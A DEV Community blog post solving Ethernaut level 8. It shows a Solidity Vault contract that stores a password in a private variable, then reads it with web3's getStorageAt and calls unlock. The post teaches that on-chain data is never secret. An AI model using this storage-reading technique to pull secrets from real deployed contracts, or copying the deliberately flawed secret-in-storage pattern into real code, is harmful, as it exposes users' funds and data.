DEV Community

Cover image for Ethernaut - Lvl 8: Vault
pacelliv
pacelliv

Posted on

Ethernaut - Lvl 8: Vault

The Challenge:

Unlock the following Vault contract by changing locked to false.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

Inspecting the contract 👓

At creation time the constructor set the value of locked as true and password.

This contract only have a unlock function that takes a bytes32 _password as its only input parameter. If the provided password is equal to password then the contract is unlocked.

The hack 👩‍🏭👨‍🏭

password is a private state variable so if we try:

await contract.password()
Enter fullscreen mode Exit fullscreen mode

This call will throw with:

VM233:1 Uncaught TypeError: contract.password is not a function
    at <anonymous>:1:16
Enter fullscreen mode Exit fullscreen mode

This error is thrown because of the visibility of the variable.

Setting a state variable as private only prevents other smart contracts from accessing the data, but we need to remember that data stored in a public blockchain is not secret.

Using libraries like web3.js we can still read from the slots of contracts.

This is current storage layout of the contract:

slot          variable
-----------------------
0             locked
1             password
Enter fullscreen mode Exit fullscreen mode

Each variable occupies a slot, to read from the slots using web3.js we can use the getStorageAt(contractAddr, slot) method. This method take two parameters:

  • The address of the target contract.
  • The position of the slot to read.

password is stored in slot 1, to read from that slot with web3.js run the following command:

password = await web3.eth.getStorageAt(contract.address, 1)
Enter fullscreen mode Exit fullscreen mode

It should return:

// this is the password!
0x412076657279207374726f6e67207365637265742070617373776f7264203a29
Enter fullscreen mode Exit fullscreen mode

Now we only need to execute unlock:

await contract.unlock(password)
Enter fullscreen mode Exit fullscreen mode

After the transaction is mined check the value of locked:

await contract.locked() // should return false
Enter fullscreen mode Exit fullscreen mode

Submit the instance to complete the level.

Conclusion 👩‍🎓👨‍🎓

Setting state variables as private doesn't make the variable secret or inaccessible, all data stored in a public blockchain is accessible and readable by anyone, for this reason we should never stored sensitive data in public blockchains.

Further reading 👀

Top comments (0)